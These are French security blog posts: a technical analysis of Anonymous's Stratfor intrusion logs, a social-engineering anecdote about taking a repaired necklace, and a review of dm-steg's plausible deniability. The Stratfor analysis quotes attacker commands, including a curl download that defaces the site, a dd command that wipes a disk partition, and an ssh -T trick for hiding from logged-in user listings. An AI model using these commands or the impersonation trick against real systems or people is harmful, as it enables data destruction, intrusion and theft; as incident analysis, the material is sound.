Anonymous Vs Stratfor: KO en un round.

En fin d'année, Anonymous a releasé un récapitulatif de ses exploits dans un log txt AnonymousZine.txt (une rapide recherche google vous le donnera): Hack de stratfor.com, cslea.com, nychiefs.og et specialforces.com.
Le document, bien que txt, contient des ASCII-ART:

(on arrive à lire Antisec) et le désormais classique masque de Guy Fawkes:

Cette table des matières donne le lien vers la plateforme Antisec de TPB et leur ambassade qui est un site .onion (installez tor).

Je livre ici une petite analyse du hack de stratfor en me basant sur les documents fournis, sous réserve qu'ils soient rééls et authentiques. Je ne reviendrai pas sur l'aspect politique du mouvement. Anonymous est une menace largement plus politique que technique, mais il est rare d'obtenir des logs comme ceux-ci qui permettent de voir une attaque 'in situ'. Je laisse le soin à d'autres personnes de discuter de la portée politique de leurs actes, seule une analyse technique sera présentée.

Stratfor.com est une société d'intelligence économique (espionnage industriel en bon français). On peut imaginer que leur site web est donc très bien protégé et que la sécurité générale est d'un très bon niveau. La divulgation faite par Anonymous montre que non. Je résume tout d'abord certains mails, puis l'état de leurs serveurs.

1/ quelques emails:
Stratfor a malgré tout bien compris qu'ils étaient "under attack". Mais le mail d'un sysadmin demandant 2 jours pour vérifier le système a été refusé. Ils s'étaient rendus compte qu'un de leur serveurs web avaient un load à 100% et contenait des scripts inconnus dans /root. Effectivement, ça mérite un "pull the plug".
[ Pour élargir le débat, qui a le pouvoir "pull the plug" de manière générale? Est-ce une prérogative à ajouter dans les droits d'un admin sys? ]

Ce n'est suite à l'attaque que Statfor s'est rendu compte que leurs sauvegardes emails se faisaient sur la même machine physique que le serveur de mail (!).
Ce n'est qu'une fois attaqués qu'ils se sont posés la question de la méthode de chiffrement des mots de passe. Ils ont beau eu indiquer sur facebook que les mots de passe étaient chiffrée en one-way MD5, la réalité montre qu'il ne s'agissait que du hash, donc des mots de passe ont été révélés. La liste complète des emails doit donner plus d'informations, mais elle n'est pas encore divulguée.

2/ et leurs serveurs
Concernant les serveurs, par contre, c'est plutôt une catastrophe. Anonymous fournit un log ssh relativement complet sur l'état et le contenu des serveurs (généralement un cat des fichiers shadow, .bash_history .ssh/* et des fichiers de confs). Il manque toutefois l'essentiel: l'attaque en elle-même ce qui est aisément compréhensible.
Le premier log laisse penser qu'Anonymous est entré avec un uid apache, et a monté root ensuite. [ Faille SQL suivie d'un shell suivi d'une escalade de privilèges? C'est non précisé. ]

Le premier serveur attaqué, le frontal web, apparemment, est une gentoo à noyau 2.6.24 (plusieurs failles de sécurité existent sur ce noyau) démarré depuis 2008 (!). Un utilisateur est logué sur la console tty1 depuis 27 jours (accès physique au serveur?). Le répertoire de /root est une catastrophe, il contient des sources, des fichiers Mac OS (ils ont branché une clé USB ou quoi?), des dossiers en vrac (genre un dossier bin/ un b/, un yourmom/ !). Le .bash_history de root montre un admin qui fouille ses logs, soit car il track anonymous, soit par curiosité normale. Ses clés ssh ne sont pas protégées... [ Je vais être mauvaise langue, mais un serveur comme celui-ci méritait bien un rm -rf / uniquement pour le ranger un peu.. ]

Les .bash_history des autres utilisateurs montrent que ce serveur sert également à faire du dev, ce qui est à l'encontre de toutes les bonnes pratiques. Les autres clés ssh trouvées n'ont pas non plus de mot de passe. Les fichiers de config .php sont également dumpés, donnant accès à la base de données. Ceci dit, quand un attaquant à les droits root, c'est généralement game over.

Ce serveur permet à Anonymous de se servir de l'utilisateur 'autobot', dont les clés permettent de se loguer sur l'ensemble du réseau (Mega FAIL!!). Anonymous va donc partir à la recherche du serveur de mail. Il s'agit d'une machine 64bits faisant tourner un zimbra+postfix. Le noyau est un 2.6.18-238.9.1.el5 (un nom de noyau comme ça fait penser à du redhat ou dérivé redhat), ce qui semble ancien. Anonymous passe root dessus sans plus de précisions (clé ssh? faille noyau?). En explorant la machine, il découvre un dossier /backups qui contient, vous l'aurez compris, les sauvegardes des spools de mails des utilisateurs. Headshot, et les spools qui se font doxer (ils ne sont pas encore diffusés, ceci dit).

Anonymous continue de rebondir sur les serveurs internes grâce aux clés d'autobot et diffuse des .bash_history, des tables mySQL etc etc.. Une petite finesse mérite d'être relevée. A chaque venue sur un serveur, anonymous lance la commande w pour connaître les personnes loguées. Sur l'une d'elles, un utilisateur travaille activement (session vim). Il se déconnecte et reconnecte en ssh -T (-T: non allocation de terminal), ce qui permet de ne plus être listé par la commande 'w'. Il appelle cette technique NINJA MODE :)

Enfin, une page index.php est rajoutée sur la home page du site web:
www3 # rm index.php
www3 # curl http://pastebin.com/download.php?i=ANTISEC > index.php
Et le fatal
www3 # dd if=/dev/zero of=/dev/sda3 &      // SETTIN EVERYBODY BACK TO ZERO
aussitôt que google a mis la page en cache.

3/ And ze winner iz?
Que penser de cette attaque? Un serveur absolument pas à jour, des clés non protégées, un accès ssh possible de et vers les autres serveurs de la DMZ, une clé qui donne accès à tout. J'ai du mal à comprendre comment cette entreprise aurait pu passer le moindre contrôle ou le moindre audit sans se faire atomiser.
Et surtout, lorsque le hack est avérée, que le pirate est là, que l'admin le détecte et demande un peu de temps pour nettoyer tout ça, la réponse, la plus mauvaise qui soit: on ne coupe pas le business pendant 2 jours car le pirate n'arrivera surement pas à ses fins, cf
 "You do realize how preposterous it is to suggest that stratfor simply shutdown completely for 2 days, right? The plan that you've attached paints a gloom and doom picture claiming no chance that such a move will succeed. Does that really seem a rationale conclusion?"

Ainsi, comme le dit Anonymous, stratfor s'est fait pwner vraiment violemment, ceci aidé d'une part par la faiblesse de leur infrastructure et d'autre part par l'absence de réactions. 

Le reste d'AnonymousZine.txt contient les logs des autres attaques et des considérations politiques sur leur action. Intéressant à lire.

Petit conte de fin d'année, mais histoire vraie quand même.

En cette période de fin d'année, je propose un petit conte qui sort de l'informatique et de la sécurité, ou pas.

L'histoire qui suit se passe il y a quelques années et aucun nom ne sera cité.
Or donc, il existait un centre commercial comme il en existe tant, avec, dans la galerie une bijouterie. Cette bijouterie se présentait en forme de L. La barre principale était ouverte sur la galerie, agrémentée d'une caisse en son milieu, et la barre du bas, au fond, avait un second comptoir, réservé aux réparations.

   +-----+

G      V |
A        |      V: victime
L        |      C: caisse principale
E   C    |      R: comptoir de réparation
R        |
I        `-----+
E             R|
              R|
   +-----------+    

Le week-end avant les fêtes, une foule importante se pressait dans la galerie marchande et dans la bijouterie. Comme cela se fait souvent, pour absorber ce surplus de clientèle, quelques intérimaires aidaient à la vente. Ils étaient habillés sobrement, d'une chemise blanche et d'un pantalon noir.
Sur ces entrefaits, aidé d'un complice, je me suis glissé vers le haut du magasin, habillé également d'une chemise blanche et d'un pantalon noir, couvert par un pull. J'ai rapidement repéré une cliente ayant en main un bon de réparation de bijou. Prestement défait de mon pull, je l'aborde en lui demandant si je peux l'aider. Discussion, vérification que son bon de réparation avait été payé, et je la laisse sur place en consultation des nouvelles collection de nouvel an. Je remet le pull et arrive au comptoir du fond pour récupérer le bijou.
Le bijou m'a été donné sur présentation et vérification du bon, et j'ai pu partir discrètement de la bijouterie par le côté opposé à la victime. Du fait de la foule, la cliente ne m'a pas vu partir, et les vendeurs légitimes n'ont pas vu la manipulation.
J'étais donc hors de la bijouterie un splendide collier orné d'un rubis dans la poche.
[Petite précision pour ceux qui s'en inquiéteraient: mon honnêteté n'ayant pas de limite, je suis retourné dans la bijouterie pour rendre le collier à sa propriétaire, c'est donc une histoire morale qui finit bien :-) ]

Etant sur un blog de sécurité informatique, que peut on dire?

• J'ai joué le rôle d'un proxy malveillant entre un client et un serveur pour intercepter des données d'authentification. 
• La surcharge de fin d'année a empêché la détection du "rogue proxy" (si vous ne pouvez effacer vos logs, noyez les!)
• Le client n'a pas pensé à authentifier le serveur. Pensez http"S"! ou typosquatting. Un peu de social engineering a suffit.
• Enfin, le véritable serveur a fait confiance uniquement au cookie d'authentification (le bon de réparation). Une double authentification aurait été préférable: bon de réparation+authent via CNI par exemple, il était évident qu'un bon intitulé à un prénom de consonance féminine aurait du éveiller un soupçon. Le cookie d'authent pour entrer et faire des opérations (demander l'état de réparation du bijou) mais une seconde authentification pour la remise du payload reste une option intéressante.
• L'extrusion du payload fût caché dans un paquet de données standard: moi, un client lambda avec un pull gris qui n'éveillait aucune suspicion ou regard de la part des vendeurs légitimes. Pour extraire des données, chiffrez les (flux SSL)!

Sur ce, bonne année, et happy hacking! (et n'allez pas dans les bijouteries faire des bêtises!)

EDIT: Christophe Pradier (RSSI de l'hôpital de Valenciennes) a traduit ce conte en anglais sur son blog!

dm-steg : la plausible deniability sous linux, ou pas.

Un lecteur du blog m'a fait suivre un message de la mailing list dm-crypt: http://permalink.gmane.org/gmane.linux.kernel.device-mapper.dm-crypt/5543. L'auteur, Samulis Leopold propose un module noyau et les outils associés proposant un nouveau mode de chiffrement. Ce projet s'appelle DM-steg et la documentation est disponible. Les sources sont composées d'un patch noyau (pour le 3.2) et des outils.

1/ Quels sont les points positifs de DM-steg?
Tout d'abord, les performances de DM-steg ont été mesurées en regard d'un RAM disk, et elles sont honorables (partie 6 Benchmarks du .pdf de doc).
Je ne m'étendrai pas sur les différents modes de chiffrements. L'auteur s'est basé sur de l'existant (un openssl récent > 1.1 doit être utilisé pour pouvoir compiler le projet).

Le point clé du projet réside dans la mobilité des données sur le disque.
Le disque est tout d'abord découpé en parties équivalentes, les blocs. Deux blocs vont jouer un rôle particulier. La taille totale de l'espace est amputée de deux blocs: le premier sert d'en-tête, le second de zone temporaire.Au cours de l'emploi du disque, les données des blocs vont être déplacées sur l'ensemble de l'espace du disque de manière aléatoire. Le bloc temporaire sert à stocker les données pendant le déplacement. Ainsi, un attaquant qui n'aurait accès qu'a la version chiffrée du disque verrait des réécritures sur tout le disque, ne pouvant ainsi absolument rien déduire sur l'usage de ce disque.

Et puis l'auteur indique "no crash" ce qui est rassurant :-)

Et DM-steg est particulièrement intéressant car il propose par défaut de la plausible deniability.
J'ai déjà blogué sur la plausible deniability faite par truecrypt pour en conclure que la méthode n'est pas satisfaisante.
Petit résumé: Pour truecrypt le disque caché est situé vers la fin du disque. Un attaquant en possession de plusieurs versions du disque au cours du temps et qui verrait des données être modifiées à cet endroit alors qu'elles ne correspondent à aucun fichier sur le disque normal pourrait donc vraisemblablement intuiter qu'un disque caché est présent.

2/ La plausible deniability par DM-steg

Etudions la partie deniable plausability. Tout d'abord, sur la possession de ce programme, ensuite sur les containers imbriqués, et enfin sur les attaques réalisables par un attaquant.

La possession de ce programme est sans doute un piège en soi. Si je suis un attaquant et que je vois un utilisateur avec DM-steg, je vais immédiatement le soupçonner de cacher des données. On peut considérer cela comme un faux problème puisque le jour ou DM-steg sera inclus dans les sources officielles du noyau linux et dans les distributions linux sa possession ne sera plus compromettante.

DM-steg permet d'utiliser un disque avec plusieurs mots de passes. Chaque mot de passe donne accès à une vue différente du code déchiffré. Il est possible d'avoir donc un nombre illimité de conteneur cachés (si ce n'est la taille du disque), au contraire de Truecrypt qui ne propose qu'un disque normal contenant un disque caché.

Après discussion avec l'auteur par mail, il m'indique qu'il préfère la méthode de conteneur imbriqué sans limite. Les arguments sont inversibles avec ceux de Truecrypt. Truecrypt dit qu'en cas de gros problème, il est toujours possible de donner les deux mots de passe, prouvant donc que plus rien n'est caché (si on vous tape dessus pour obtenir les mots de passe, cela peut être la solution la moins pire), et DM-steg dit précisément l'inverse, que l'attaquant arrêtera forcément au 'n-ième' mot de passe, à vous de cacher la donnée dans un conteneur n+1. Je n'ai pas d'avis tranché à ce sujet.

Le mode de dispersion des données de DM-steg empêche un attaquant de différencier plusieurs versions du disque pour détecter quels sont les octets qui bougent, et si le cas échéant des octets vers la fin du disque bougent sans lien avec les données présentes. Il semble donc que c'est un excellent moyen pour faire de la plausible deniability. Mais il y a encore deux points qui ne sont pas réglés:

• Les données sont éparpillées sur le disque (mettons /dev/sda1). Donc un attaquant avec plusieurs copies de /dev/sda1 n'a aucune information. Mais la plausible deniability dit que l'attaquant peut posséder le mot de passe du container principal. Et donc l'attaquant peut monter les disques avec DM-steg. Et il aura accès aux données sous /dev/mapper/steg1. Et là, les données deviennent "linéarisées" et non plus "éparpillées". L'attaquant peut donc étudier les modifications entre deux versions de /dev/mapper/steg1 et ainsi détecter des modifications illégitimes de manire analogue avec l'attaque sur truecrypt.
• Aucune limitation sur le filesystem employé n'est faite. Ainsi, si un utilisateur crée un container principal formaté en ext3 et un container caché sur les 100 derniers Mo du disque, alors un attaquant à l'aide du mot de passe du premier container pourra consulter tous les superblocks d'ext3 sur le container principal. Les superblocks des 100 derniers Mo seront illisibles puisqu'écrasés par le container caché. Une fois de plus sa présence est révélée. On peut utiliser du FAT, mais l'emploi de FAT dans une distribution linux est suspicieux en soi.
• Or donc la plausible deniability n'est pas garantie. 

3/ One more step to infinity
Le fait d'éparpiller les données chiffrées sur le disque est donc un premier pas très intéressant. Un attaquant a donc l'obligation impérative d'avoir le premier mot de passe pour attaquer la plausible deniability, ce qui n'était pas le cas auparavant.
Nous avons aujourd'hui de plus en plus de disques SSD ou la localisation des données n'a plus aucune importance en terme de performances. L'usage de DM-steg pourrait donc rivaliser avec dm-crypt. Néanmoins, on cherche encore une vraie méthode de plausible deniability pérenne et fiable dans le temps.